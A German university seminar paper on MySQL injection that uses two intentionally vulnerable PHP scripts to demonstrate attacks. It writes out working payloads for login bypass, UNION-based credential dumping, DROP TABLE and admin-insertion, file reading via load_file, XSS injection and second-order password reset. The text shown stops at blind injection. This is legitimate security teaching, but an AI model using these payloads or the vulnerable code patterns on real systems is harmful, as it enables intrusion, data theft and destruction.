mysql-injections

28
MySQL Injections D. Ritter Universität Ulm [email protected] 14. Juni 2012 SQL-Injections stellen immer noch eine der größten Sicherheitsrisikos in heutigen Webapplikationen dar. Der Leser sollte bereits ein wenig Vorwissen darüber haben, was SQL-Injections sind, weil dies nicht explizit erklärt wird. Der größte Teil des Paper geht viel mehr auf die Tricks ein, die angewendet werden können, um eine Injection-Lücke zu exploiten. Die Injection-Finessen sind hierbei in zwei Kapitel untergliedert: einfachere und komplexere Injecti- ons. Anhand von zwei PHP-Scripten wird die Durchführung der jeweiligen Injections demonstriert. Das letzte Kapitel beschreibt die Schutzmaßnahmen gegen SQL-Injections. 1

Upload: da-ri

Post on 30-Jul-2015

185 views

Category:

Documents


1 download

DESCRIPTION

SQL-Injections stellen immer noch eine der größten Sicherheitsrisikos inheutigen Webapplikationen dar. Der Leser sollte bereits ein wenig Vorwissendarüber haben, was SQL-Injections sind, weil dies nicht explizit erklärt wird.Der größte Teil des Paper geht viel mehr auf die Tricks ein, die angewendetwerden können, um eine Injection-Lücke zu exploiten. Die Injection-Finessensind hierbei in zwei Kapitel untergliedert: einfachere und komplexere Injections.Anhand von zwei PHP-Scripten wird die Durchführung der jeweiligenInjections demonstriert. Das letzte Kapitel beschreibt die Schutzmaßnahmengegen SQL-Injections.

TRANSCRIPT

Page 1: MySQL-Injections

MySQL InjectionsD. Ritter

Universität [email protected]

14. Juni 2012

SQL-Injections stellen immer noch eine der größten Sicherheitsrisikos inheutigen Webapplikationen dar. Der Leser sollte bereits ein wenig Vorwissendarüber haben, was SQL-Injections sind, weil dies nicht explizit erklärt wird.Der größte Teil des Paper geht viel mehr auf die Tricks ein, die angewendetwerden können, um eine Injection-Lücke zu exploiten. Die Injection-Finessensind hierbei in zwei Kapitel untergliedert: einfachere und komplexere Injecti-ons. Anhand von zwei PHP-Scripten wird die Durchführung der jeweiligenInjections demonstriert. Das letzte Kapitel beschreibt die Schutzmaßnahmengegen SQL-Injections.

1

Page 2: MySQL-Injections

Inhaltsverzeichnis

Inhaltsverzeichnis

1 Einleitung 3

2 Beispiel PHP-Script 3

3 Basic SQL-Injections 53.1 Tautologien . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53.2 Lokalisierung von SQL-Injections . . . . . . . . . . . . . . . . . . . . . . . 63.3 Union Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93.4 Stacked Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113.5 Informationsbeschaffung über die Datenbank . . . . . . . . . . . . . . . . 123.6 SQL Injection XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

4 Advanced SQL-Injections 154.1 Second Order Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154.2 Blind SQL Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

4.2.1 Zeitbasierte Blind Injections . . . . . . . . . . . . . . . . . . . . . . 164.2.2 Fehlerbasierte Blind Injections . . . . . . . . . . . . . . . . . . . . 174.2.3 Inhaltsbezogene Blind Injections . . . . . . . . . . . . . . . . . . . 18

4.3 Filesystem Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194.3.1 Lesender Zugriff auf das Dateisystem . . . . . . . . . . . . . . . . . 194.3.2 Schreibender Zugriff auf das Dateisystem . . . . . . . . . . . . . . 20

4.4 Operating System Access . . . . . . . . . . . . . . . . . . . . . . . . . . . 214.4.1 Erzeugen einer Webshell . . . . . . . . . . . . . . . . . . . . . . . . 214.4.2 User Defined Functions . . . . . . . . . . . . . . . . . . . . . . . . 22

5 Schutzmaßnamen 235.1 Defensives Programmieren . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

5.1.1 Prepared Statements . . . . . . . . . . . . . . . . . . . . . . . . . . 245.1.2 Escaping von Metazeichen . . . . . . . . . . . . . . . . . . . . . . . 265.1.3 Stored Procedures . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

6 Zusammenfassung 27

2

Page 3: MySQL-Injections

1 Einleitung

1 EinleitungSQL-Injections sind keineswegs neu. Bereits 1998 hat Jeff Forrista im Phrack Magazin [6]darauf hingewiesen. Dennoch sind SQL-Injections eine der gefährlichsten Schwachstellenin heutigen Onlineauftritten. Dies belegt auch das OWASP TOP 10 Ranking [11] der10 gefährlichsten Sicherheitsrisiken, in der Injections an erster Stelle stehen. Auch wenndieses Problem heute den versierteren Entwicklern bekannt ist, so sind dennoch geschätzte30% der Applikationen verwundbar. Das liegt u.a. daran, dass nicht alle Eingabekanälegeprüft werden oder dass aus Unachtsamkeit eine Variable vergessen wird zu validieren.Damit wären wir schon an dem Punkt angelangt, wie SQL-Injections überhaupt

entstehen. Listing 1 zeigt ein einfaches PHP Login-Script, welches die $_POST[]-Parameternicht überprüft. Die Schwachstelle in diesem Script macht sich in Zeile 4 und 5 deutlich.Denn SQL-Injections entstehen, wenn aus ungeprüften Fremdeingaben dynamisch zurLaufzeit ein String für eine SQL-Abfrage konkateniert wird und mit diesem eine SQL-Abfrage gestartet wird. Wäre in den Benutzereingaben ein Metazeichen, also ein Zeichendas für den Parser der Datenbank eine spezielle Bedeutung hat, enthalten, so ist eseinem Angreifer möglich, die Datenbankabfrage beliebig zu ändern. In den folgendenAbschnitten wird erklärt, wie man SQL-Injections findet, wie man sie ausnutzt undwie man sich dagegen schützen kann. Die Ausarbeitung beschränkt sich hierbei auf dieMySQL-Datenbank und PHP, da sie sonst zu umfangreich wäre und im Hinblick auf diedazugehörige praktische Übung nur für Verwirrung sorgen würde. Aber generell sind allebeschrieben Techniken auch in anderen Datenbanken, wie Postgres, Oracle oder MicrosoftSQL Server mit abgewandelten SQL-Statements möglich. Genauso ist auch prinzipielljede Programmiersprache für SQL-Injections anfällig, wenn nicht defensiv programmiertwird (Verweis auf Abschnitt 5.1).

2 Beispiel PHP-ScriptDas PHP-Script im unteren Listing dient dazu die nachfolgenden Angriffstechniken aneinem konkreten Beispiel zu illustrieren und wird daher des Öfteren wieder aufgegriffen.Im Laufe der Arbeit wird an passender Stelle ein zweites Beispiel (news.php) eingeführt.

3

Page 4: MySQL-Injections

2 Beispiel PHP-Script

1 <?php2 include "config.php";3 if(isset($_POST[’submit’])){4 $sql = "SELECT * FROM users WHERE username = ’{$_POST[’username’]}’ ".5 "AND password = ’{$_POST[’password’]}’";6 $result = mysql_query($sql) or die(’Error: ’ . mysql_error() . "<br>" . $sql);7 if (mysql_num_rows($result) > 0){8 $my = mysql_fetch_array($result);9 echo ’welcome ’.$my[’username’].’<br />’;

10 echo $sql;11 }12 else{13 echo ’Access Denied’;14 }15 }16 else{17 echo ’<form method="POST">’;18 echo ’Username:<input name="username"><br />’;19 echo ’Password:<input name="password"><br />’;20 echo ’<input type="submit" name="submit">’;21 echo ’</form>’;22 }23 ?>

Listing 1: Login.php realisiert eine sehr einfache Login-Seite. In Zeile 4 und 5 wird dynamischzur Laufzeit aus ungeprüften Benutzereingaben ein String für eine nachfolgendeSQL-Abfrage erzeugt. Quelle: [14]

4

Page 5: MySQL-Injections

3 Basic SQL-Injections

1 CREATE TABLE IF NOT EXISTS ‘users‘ (2 ‘id‘ int(11) NOT NULL auto_increment,3 ‘username‘ varchar(255) NOT NULL default ’’,4 ‘password‘ varchar(255) NOT NULL default ’’,5 ‘email‘ varchar(255) NOT NULL default ’’,6 ‘level‘ int(11) NOT NULL default ’0’,7 PRIMARY KEY (‘id‘)8 ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;9

10 -- Dumping data for table ‘users‘ --11 INSERT INTO ‘users‘ VALUES (1, ’admin’, ’secret’, ’admin@localhost’, 1);12 INSERT INTO ‘users‘ VALUES (2, ’user1’, ’passwd’, ’user1@localhost’, 0);13

14 CREATE TABLE IF NOT EXISTS ‘news‘ (15 ‘id‘ int(11) NOT NULL AUTO_INCREMENT,16 ‘text‘ varchar(5000) NOT NULL,17 ‘category‘ int(11) NOT NULL,18 PRIMARY KEY (‘id‘)19 ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;20

21 -- Dumping data for table ‘news‘ --22 INSERT INTO ‘news‘ (‘id‘, ‘text‘, ‘category‘) VALUES23 (1, ’schlagzeile1’, 2),24 (2, ’schlagzeile2’, 14);25 (2, ’schlagzeile3’, 6);

Listing 2: Das zugrunde liegende Datenbankschema für login.php und news.php (wird späternoch eingeführt).

3 Basic SQL-Injections3.1 TautologienUnter einer Tautologie versteht man in der booleschen Algebra einen Ausdruck der immerwahr ist. Im Bezug auf die SQL-Syntax ist damit ein WHERE-Statement gemeint, welchesimmer zu True evaluiert wird. Wenn es uns in unserem Code-Beispiel gelingen würde,das SELECT-Query zu einer Tautologie zu ändern, so kann die Anmeldung umgangenwerden. Die Datenbankabfrage würde einfach alle Benutzer zurückliefern und in Zeile 8den ersten Benutzer in der Datenbank als angemeldet klassifizieren. In der Tat ist dasbeschriebene Szenario durch die Benutzereingabe in Injection 1 möglich. In Zeile 2 und 3steht jeweils, was der Benutzer in die entsprechenden Formularfelder eingegeben hat undin der letzten Zeile wie der daraus resultierende Query-String für die Datenbankabfrageaussieht:

5

Page 6: MySQL-Injections

3 Basic SQL-Injections

1 /*Benutzereingabe*/2 Username:’ or ’’=’3 Password:’ or ’’=’4 /*Resultierende Abfrage*/5 SELECT * FROM users WHERE username = ’’ or ’’=’’ AND password = ’’ or ’’=’’;

Injection 1: Authentication Bypass durch eine Tautologie.

Diese Technik wird auch oft als Authentication Bypass bezeichnet, weil die Anmeldungumgangen wird, ohne einen konkreten Benutzer bzw. Passwort anzugeben. Mit Hilfedes SQL-Kommentars "--" ist es möglich den hinteren Teil einer Abfrage zu ignorieren.Diese Technik wird in der nächsten Injection 2 gezeigt:

Username:’ or 1=1-- und ein {LEERZEICHEN!}Password:irrelevant

/*Resultierende␣Abfrage*/SELECT␣*␣FROM␣users␣WHERE␣username␣=␣’’␣or␣1=1--␣’␣AND␣password␣=␣’irrelevant’;

Injection 2: Authentication Bypass durch eine Tautologie und einen Kommentar. Hinter dem- - muss immer ein Leerzeichen stehen oder man verwendet stattdessen eineRaute.

Kennt man einen Benutzernamen von der Webseite, kann man auch versuchen sichdirekt damit anzumelden. Im nachfolgenden Beispiel wird versucht sich als Adminanzumelden:

Username:admin’-- und ein {LEERZEICHEN!}Password:irrelevant

/*Resultierende␣Abfrage*/SELECT␣*␣FROM␣users␣WHERE␣username␣=␣’admin’--␣’␣AND␣password␣=␣’irrelevant’;

Injection 3: Authentication Bypass ins Admin-Konto. Hinter dem - - muss immer ein Leer-zeichen stehen oder man verwendet stattdessen eine Raute.

3.2 Lokalisierung von SQL-InjectionsBevor wir weiter darauf eingehen zu was man Injections missbrauchen könnte, sollten wiruns erstmal Gedanken darüber machen, wie man diese manuell1 findet. SQL-Injectionskönnen sich über jeden von außen kommenden Wert einschleusen mit dessen Hilfe einQuery-String aufgebaut wird. Dabei muss nicht nur der Weg über POST beachtet werden,sondern auch über GET, Hidden-Fields, COOKIE und über HTTP-Header und diese dann

1Hierfür existieren auch Tools, wie HP WebInspect, IBM Rational AppScan, HP Scrawlr, SQLiX, ParosProxy usw.

6

Page 7: MySQL-Injections

3 Basic SQL-Injections

entsprechend geprüft werden. Als Entwickler kann man sich hierzu eines der unzähligenSourcecode Analysetools [10] bedienen, um sicherzustellen keine Kanäle oder Variablenvergessen zu haben. Die Möglichkeiten, wie hingegen ein Angreifer von außen eine Websiteauf Schwachstellen untersuchen kann, werden nachfolgend beschrieben.Eine Möglichkeit, die ein Angreifer versuchen kann, ist es einen Fehler beim Parsen

des Query-Strings zu erzeugen. Dazu genügt es ein Metazeichen an den Server zuschicken, um eine syntaktisch ungültige Abfrage zu provozieren. Im einfachsten Fall wirddazu nacheinander2 in jedem Textfeld einer HTML-Form zum Beispiel ein einfachesHochkomma abgeschickt (siehe Injection 4):

Username:’Password:

/*Resultierende Abfrage*/SELECT * FROM users WHERE username = ’’’ AND password = ’’’;

/*Erzeugter Fehler#1064 - You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near ’’’’’ at line 1*/

Injection 4: Abschicken eines Metazeichens, um einen Syntax-Fehler zu provozieren.

Erhalten wir dann eine Fehlermeldung oder ein irreguläres Verhalten, so haben wireine Lücke gefunden. Mit irregulärem Verhalten kann gemeint sein:

• Der Error ist zu Debugging Zwecken in der Webseite versteckt.

• Weiterleitung auf eine andere Webseite.

• HTTP Status Code 500 (Internal Server Error) oder HTTP Redirection Code 302als Antwort.

• Die Applikation behandelt das Metazeichen korrekt und zeigt ein leeres Ergebnisoder eine generische Fehlerseite an.

• Der Inhalt der Webseite unterscheidet sich (siehe Injection 5).

Automatische Tools, welche Injections auffinden können, tun sich teilweise schwerdamit insbesondere den letzten Punkt korrekt zu erkennen, weshalb diese nie hundert-prozentig alle Injections finden können. Man sollte beachten, dass manche Entwickler esfür ausreichend empfinden nur Hochkommata zu escapen und man daher auch andereMetazeichen wie ;, –, /*, % etc. zum Testen verwenden sollte. Eine umfassende Listepotentiell gefährlicher Zeichen ist im Maßnahmenkatalog vom BSI [12] auf Seite 21 zu

2Wird beispielsweise in Username und Password gleichzeitig ein Hochkomma gesendet, ist der SQL-Ausdruck wieder valide.

7

Page 8: MySQL-Injections

3 Basic SQL-Injections

finden. Da diese Vorgehensweise jedoch einen SQL-Fehler erzeugt, der im General QueryLog protokolliert3 wird, existieren noch subtilere Methoden (siehe Injection 5 und 6):

<?phpinclude "config.php";if(isset($_GET[’category’])) {

$query = "SELECT * FROM news WHERE category={$_GET[’category’]}";$result = mysql_query($query) or die(mysql_error());echo "<table>";while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {

echo "<tr>";echo "<td>" . $row[’id’] . "</td>";echo "<td>" . $row[’text’] . "</td>";echo "<td>" . $row[’category’] . "</td>";echo "</tr>";

}echo "</table>";

}?>

Listing 3: news.php zeigt eine Tabelle mit allen Nachrichtenmeldungen einer Kategorie an.

URL1: news.php?category=2 and 1=1URL2: news.php?category=2 and 1=0

/*Erste Resultierende Abfrage*/SELECT * FROM news WHERE category=2 and 1=1/*News mit ID=2 wird angezeigt*/

/*----------------------------------------------------------------------------------*/

/*Zweite Resultierende Abfrage*/SELECT * FROM news WHERE category=2 and 1=0/*Keine News wird angezeigt*/

Injection 5: Injection-Test mit einer validen Query in der news.php

In Injection 5 werden zwei GET-Requests mit unterschiedlicher URL über den Browserabgeschickt. Beide Queries sind valide, aber aufgrund des unterschiedlichen Verhaltens istes sicher, dass hier eine Lücke vorliegt. Beim Einschleusen einer „Always-True-Bedingung“,wie im ersten Request and 1=1, ist es wichtig, dass das WHERE-Statement nicht komplettzu TRUE wird und alle Zeilen einer Tabelle zurückliefert, was bei einer Tabelle mit vielenEinträgen für Aufmerksamkeit sorgen könnte. Daher wird hier bewusst ein and anstattein or eingeschleust. Außerdem sieht man an diesem Beispiel auch, dass Injections ohneein Hochkomma möglich sind. Denn bei numerischen Werten wird normalerweise4 kein

3Standardmäßig sind alle Logs in MySQL deaktiviert.4Eine defensivere Progammierweise wäre es, auch numerische Werte in Hochkommata einzuschließen.

8

Page 9: MySQL-Injections

3 Basic SQL-Injections

schließendes Hochkomma benötigt, um aus einem angefangenen String „auszubrechen“und die eigentliche Injection anzuhängen. Um Schwachstellen mit validen Anfragenzu finden, existieren noch weitere Techniken. Zum Beispiel eine Stacked Query (sieheAbschnitt 3.4), dessen zweite Query sehr zeitintensiv ist (siehe Abschnitt 4.2.1). Wenndie Abfrage dann länger als gewöhnlich dauert, so hat man ebenfalls eine Lücke gefunden.Injection 6 zeigt weitere Beispiele, um Schwachstellen zu finden.

/*Benutzereingaben*/URL1: news.php?category=1+5URL2: news.php?category=2+4URL3: news.php?category=3+3URL4: news.php?category=6 and 1=1URL5: news.php?category=5+(SELECT 1)

/*Die Nachrichtenmeldungen der Kategorie 6 wird bei allen fuenf Anfragen angezeigt*/

/*Nach RFC 2396 ist das Pluszeichen ein reserviertes Zeichen in einer URI und muss mit*//*%2B codiert werden.*/

/*-------------------------------------------------------------*/

SELECT fieldFROM tableWHERE field=’admin’

SELECT fieldFROM tableWHERE field=’ad’ ’min’

/*Wenn sich beide Queries gleich verhalten, liegt vermutlich eine Schwachstelle vor.*/

Injection 6: Weitere Tricks um verwundbare Parameter zu lokalisieren.

3.3 Union QueriesMittels Union Queries kann man zwei SFW-Statements5 zusammenführen und deren Er-gebnisse in einem Resultset untereinander anzeigen lassen (kleine Gedächtnisauffrischunggibt es hier6). Hierbei ist es wichtig, dass in beiden SFW-Statements die Anzahl derSpalten übereinstimmen. Für Injections können Union Queries dazu benutzt werden dieZeilen aus einer eingeschleusten Abfrage, an das erste SELECT-Statement anzuheften.Dadurch werden die angehefteten Zeilen für den Angreifer je nach zu Grunde liegendemProgrammcode evtl. sichtbar. In Injection 7 wird ein erster Versuch einer Union-Injectiongestartet:

Die Abfrage SELECT *FROM users WHERE id=’2’ würde in MySQL trotzdem ausgeführt werden.5SELECT FROM WHERE6www.w3schools.com/sql/sql_union.asp

9

Page 10: MySQL-Injections

3 Basic SQL-Injections

URL: news.php?category=2 UNION ALL SELECT username, password FROM users

/*Resultierende Abfrage*/SELECT * FROM ‘news‘ WHERE category=2UNION ALLSELECT username, password FROM users

/*#1222 - The used SELECT statements have a different number of columns*/

Injection 7: Erster Versuch einer Union zwischen der Tabelle news und users schlägt fehl.

Der Versuch misslingt, weil die Spaltenanzahl in den SELECT-Anweisungen nichtübereinstimmen. Um die Spaltenzahl der News-Query herauszufinden, kann man einGROUP BY Integer einschleusen (siehe Injection 8). Die Integer wird solange erhöht, bisein Fehler erscheint. Die Spaltenanzahl ist dann die maximale Integer bei der kein Fehleraufgetreten ist.

URL1: news.php?category=2 GROUP BY 1 /*no error*/URL2: news.php?category=2 GROUP BY 2 /*no error*/URL3: news.php?category=2 GROUP BY 3 /*no error*/URL4: news.php?category=2 GROUP BY 4 /*#1054 - Unknown column ’4’ in

’group statement’*/

Injection 8: Spaltenanzahl der Tabelle news ermitteln.

Jetzt wissen wir, dass die News-Tabelle drei Spalten hat und können unseren erstenInjection Versuch anpassen und entsprechend um eine Spalte erweitern:

10

Page 11: MySQL-Injections

3 Basic SQL-Injections

URL: news.php?category=2 UNION ALL SELECT username, password,’1’FROM users

/*Resultierende Abfrage*/SELECT * FROM ‘news‘ WHERE category=2UNION ALLSELECT username, password,’1’ FROM users

/*Resultset+-------+--------------+----------+| id | text | category |+-------+--------------+----------+| 1 | schlagzeile1 | 2 |+-------+--------------+----------+| admin | secret | 1 |+-------+--------------+----------+| user1 | passwd | 1 |+-------+--------------+----------+*/

Injection 9: Die Schwachstelle in news.php kann ausgenutzt werden, um sämtliche Benut-zerdaten aufzulisten.

Wie man sieht nimmt es MySQL dabei nicht so genau, wenn die Spalten unter-schiedliche Datentypen haben (siehe id-Spalte). Bei anderen Datenbanken kann es hierzu einem Fehler kommen, weshalb man vorher noch die Datentypen der jeweiligenSpalten bestimmen müsste. Anstatt den Datentyp zu raten, wird auch oft empfoh-len null zu verwenden (siehe Injection 10). Wenn die beiden Tabellen einen unter-schiedlichen Charset haben, kann dies auch manchmal zu einem Fehler führen. Mittelsconvert(version() using charsetxyz) können die beiden Abfragen, dann explizit aufdas gleiche Encoding eingestellt werden. Injection 10 zeigt, wie man das erste Statementunterdrücken könnte. Dies kann unter Umständen hilfreich sein, wenn das zugrundeliegende PHP-Script nur eine Zeile aus dem Resultset ausgibt.

URL: news.php?category=2 AND 1=0 UNION ALL SELECT username, password,nullFROM users

Injection 10: Das erste SELECT wird unterdrückt. Diese Technik könnte in abgewandelterForm auch in der login.php ausgenutzt werden, um sich als beliebiger Benutzeranzumelden, der nicht einmal in der Datenbank existiert.

3.4 Stacked QueriesBei Stacked Queries, oder auch Batched Queries genannt, handelt es sich um mehrereSQL-Statements, die durch einen Strichpunkt voneinander getrennt sind und nacheinanderausgeführt werden:

11

Page 12: MySQL-Injections

3 Basic SQL-Injections

SELECT foo FROM bar; SELECT foo2 FROM bar2;

Dabei muss beachtet werden, dass nicht jede Programmiersprache im Zusammen-spiel mit jeder Datenbank bzw. Datenbank-Version Stacked Queries unterstützt. DiePHP-Funktion mysql_query(string) unterstützt keine Batched Queries, weshalb dienachstehenden Beispiele mit unseren PHP-Scripten nicht funktionieren und somit nurtheoretischen Charakter haben oder in phpMyAdmin ausgeführt werden sollten. In Injec-tion 11 wird exemplarisch gezeigt, wie ein Angreifer beispielsweise ganze Tabellen löschenkönnte:

Username:’;DROP TABLE users;/*Password:

/*Resultierende Abfrage*/SELECT * FROM users WHERE username = ’’;DROP TABLE users;/*’ AND password = ’’;

Injection 11: Die User-Tabelle löschen. Hierbei ist das hintere Semikolon nicht zu vergessen.Will man ein - - anstatt /* verwenden, muss hinter - - ein Leerzeichen stehen.

Eine andere Möglichkeit sich diese Technik zunutze zu machen, wäre es zum Beispielsich einen neuen Benutzer anzulegen:

Username:’;INSERT INTO users VALUES(null,’user’,’pwd’,’admin@localhost’,’1’);/*

Password:

/*Resultierende Abfrage*/SELECT * FROM users WHERE username = ’’;INSERT INTO users VALUES(null,’user’,’pwd’,’admin@localhost’,’1’);/*’ AND password = ’’;

Injection 12: Neuen Benutzer anlegen.

Jedoch erfordern Stacked Queries bereits ein genaueres Wissen über den Aufbau derDatenbank (Tabellennamen, Spaltenanzahl, Spaltentypen), da die Abfrage ansonstenfehlschlägt. Wie man mehr über die Datenbank herausfindet, wird im nächsten Abschnitterläutert. Des weiteren werden defensiv programmierte Webseiten nicht beliebig langeEingaben akzeptieren und der Insert-Versuch in Injection 12 wird umso schwerer, jekomplexer die Datenbank aufgebaut ist – Stichwort Fremdschlüssel.

3.5 Informationsbeschaffung über die DatenbankNachdem man eine Injection gefunden hat, besteht der zweite Schritt normalerweisedarin, herauszufinden, welche Datenbank von der Applikation verwendet wird, um denrichtigen SQL-Dialekt für den Exploit zu bestimmen. Falls der Server SQL-Fehler zurück-liefert, könnte Injection 4 genutzt werden, um anhand der doch recht charakteristischenFehlermeldungen auf die Datenbank zu schließen.

12

Page 13: MySQL-Injections

3 Basic SQL-Injections

Wenn keine aussagekräftigen Fehlermeldungen zurückgeliefert werden, kann man sichzunutze machen, dass jede Datenbank in Bezug auf String-Konkatenation einen anderenDialekt unterstützt. Die Tabelle 1 zeigt diese Herangehensweise:

Datenbank Server Query

Microsoft SQL Server SELECT ’some’ + ’string’

MySQL SELECT ’some’ ’string’SELECT CONCAT(’some’,’string’)

Oracle SELECT ’some’ || ’string’SELECT CONCAT(’some’,’string’)

Tabelle 1: Unterschiedliche SQL-Dialekte um Strings zu konkatenieren, lassen Rückschlüsseauf den Datenbank-Server zu. Quelle: [4]

Das nachfolgende etwas längere Listing zeigt nützliche MySQL-Statements, um mehrüber die Datenbank herauszufinden. Möchte man diese Statements einschleusen, kannman beispielsweise wie in Injection 13 vorgehen.

/*************************************//** Session-User bestimmen **//*************************************/

/*MySQL-Benutzer bestimmen, der die Anfrage ausfuehrt + Server Hostname*/SELECT USER();SELECT CURRENT_USER();/*Result: root@localhost*/

/*Auflistung der MySQL Benutzernamen und Passwoerter (Adminrechte benoetigt)*/SELECT User,Password FROM mysql.user;/*Passwoerter sind ab MySQL > 4.1 als 41-Character SHA1 Hash gespeichert.Zum Zurueckrechnen kann John the Ripper oder Cain & Abel eingesetzt werden.*/

/*Bestimmen welche Rechte ein User hat*/SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;/*Gekuerztes Resultset+--------------------+------------------+---------------+| grantee | privilege_type | is_grantable |+--------------------+------------------+---------------+| ’root’@’localhost’ | SELECT | YES || ’root’@’localhost’ | INSERT | YES || ... | ... | ... |+--------------------+------------------+---------------+*/

/*************************************//** Datenbank-Schema auflisten **//*************************************/

13

Page 14: MySQL-Injections

3 Basic SQL-Injections

/*Gibt die aktuelle Datenbank zurueck*/SELECT DATABASE();

/*Auflistung aller Datenbanken (Adminrechte benoetigt)*/SELECT distinct(db) FROM mysql.db;

/*Auflistung aller Datenbanken, Tabellen und Spalten ab MySQL-Version > 5.0*/SELECT table_schema, table_name, column_name FROM information_schema.columnsWHERE table_schema !=’information_schema’ AND table_schema != ’mysql’

/*Gekuerztes Resultset+--------------+--------------+--------------+| table_schema | table_name | column_name |+--------------+--------------+--------------+| ... | ... | ... || itsec | news | id || itsec | news | text || itsec | news | category || itsec | users | id || ... | ... | ... |+--------------+--------------+--------------+*/

/*Verzeichnis in dem die Datenbanken abgelegt sind.*/SELECT @@DATADIR;/*Result: C:\xampp\mysql\data\*/

/*Gesamte Datenbank kopieren*/SELECT load_file(’C:\xampp\mysql\data\databasename\tablename.MYD’)

SELECT @@BASEDIR/*Result: C:\xampp\mysql*/

Es ist auch wichtig die genaue Version und den Patchlevel der Datenbank zu ermitteln,um herauszufinden, ob die Datenbankversion bereits bekannte Exploits aufweist undum zu wissen welche SQL-Befehle ausgeführt werden können. Ältere MySQL-Versionenunterstützten beispielsweise keine Unions oder kennen die SLEEP()-Funktionen nicht.Injection 13 könnte genutzt werden, um sich die Version ausgeben zu lassen:

URL: news.php?category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1

/*Resultierende Abfrage*/SELECT * FROM ‘news‘ WHERE category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1

Injection 13: Ausgabe der Datenbank-Version.

3.6 SQL Injection XSSEs sei angemerkt, dass SQL-Injections auch verwendet werden können, um bösartigesJavaScript in eine Webseite einzuschleusen. Injection 14 zeigt diese Methode beispielhaftmit einem Union-Statement. Hierfür eignen sich auch Update- und Insert-Statements sehr

14

Page 15: MySQL-Injections

4 Advanced SQL-Injections

gut, da das XSS dann permanent in der Datenbank gehalten wird, und möglicherweisebei vielen Besuchern „gleichzeitig“ ausgeführt wird.

URL1: news.php?category=2 UNION SELECT 1,2,’<script>alert("sixss")</script>’

/*Resultierende Abfrage1*/SELECT * FROM ‘news‘WHERE category=2 UNION SELECT 1,2,’<script>alert("sixss")</script>’

Umgehen von einfachen Hochkommata-Filtern (XSS in Hex konvertieren und 0x voran-stellen):

URL2: news.php?category=2 UNION SELECT 1,2,0x273C7363726970743E616C6572742822736978737322293B3C2F7363726970743E27

/*Resultierende Abfrage2*/SELECT * FROM ‘news‘WHERE category=2 UNION SELECT 1,2,0x273C7363726970743E616

C6572742822736978737322293B3C2F7363726970743E27

Injection 14: Reflexive JavaScript Injection. Quelle:[14]

4 Advanced SQL-Injections4.1 Second Order InjectionsSogar wenn eine Applikation einfache Hochkommas immer escaped, kann ein AngreiferSQL-Code einschleusen, sofern diese Daten dann von der Applikation wiederverwendetwerden. Der entscheidende Punkt ist, dass ein Angreifer darauf hofft, dass die Daten beider Wiederverwendung nicht mehr validiert werden. Dies kann am besten anhand eineskleinen, beliebten Beispiels aus [1] näher erklärt werden. Angenommen ein Angreiferregistriert sich auf unserer Webseite mit Username:admin’-- und Passwort:pwd. BeimEinfügen in die Datenbank wird das Hochkomma korrekt escaped und es entsteht derfolgende Insert-Befehl:

INSERT␣INTO␣‘users‘VALUES␣(null,’admin\’--␣’,’pwd’,’[email protected]’,0);

Innerhalb der Webseite könnte eine Art Kontoverwaltung existieren, um sein Passwortzu ändern. Meistens wird dazu auch das alte Passwort abgefragt. Eine entsprechendeSQL-Abfrage könnte wie folgt aussehen:

$queryString = "UPDATE users SET password=’" . newPassword . "’ " ."WHERE userName=’" . userName . "’ AND " .

"password=’" . oldPassword . "’";

15

Page 16: MySQL-Injections

4 Advanced SQL-Injections

In der Variable userName steht der momentan angemeldete Benutzer – in unseremFall admin’-- . Dies würde dann beim Abschicken des Formulars zu folgendem SQL-Statement führen:

/*Resultierende Abfrage*/UPDATE users SET password=’gotcha’WHERE userName=’admin’-- ’ AND password=’any’

Injection 15: 2nd Order Injection. Die Überprüfung des alten Passworts wird auskommentiert.

Einem Angreifer ist es so möglich das Passwort des Administratorkontos beliebig zuändern. Second Order Injections sind recht schwer zu erkennen und zu verhindern, weil siean einer anderen Stelle ausgenutzt werden, wie sie eingeschleust wurden. Ein Entwicklerkann dem Irrglauben verfallen, dass Daten die aus der Datenbank stammen und vorherordnungsgemäß gesäubert wurden, auch ungefährlich für die weitere Verwendung sind.

4.2 Blind SQL InjectionsNicht immer können mächtige Union-Queries dazu benutzt werden, um Daten zu ex-trahieren. Beispielsweise weil eine benutzerfreundliche Fehlerseite angezeigt wird oderweil die Fremdeingabe nicht reflexiv im Output der Webseite gespiegelt wird (z.B. „DieEmailadresse xyz ist nicht im System registriert“). Meistens kann mit sog. Blind Injec-tions dennoch pro Anfrage ein Bit an Information extrahiert werden. Blind Injectionsfunktionieren, indem man eine bedingte Anweisung der Art IF x THEN y ELSE z in dasQuery einschleust. In MySQL ist die IF-Funktion folgendermaßen aufgebaut:

SELECT IF(1>2,2,3); /*Resultat: 3*/

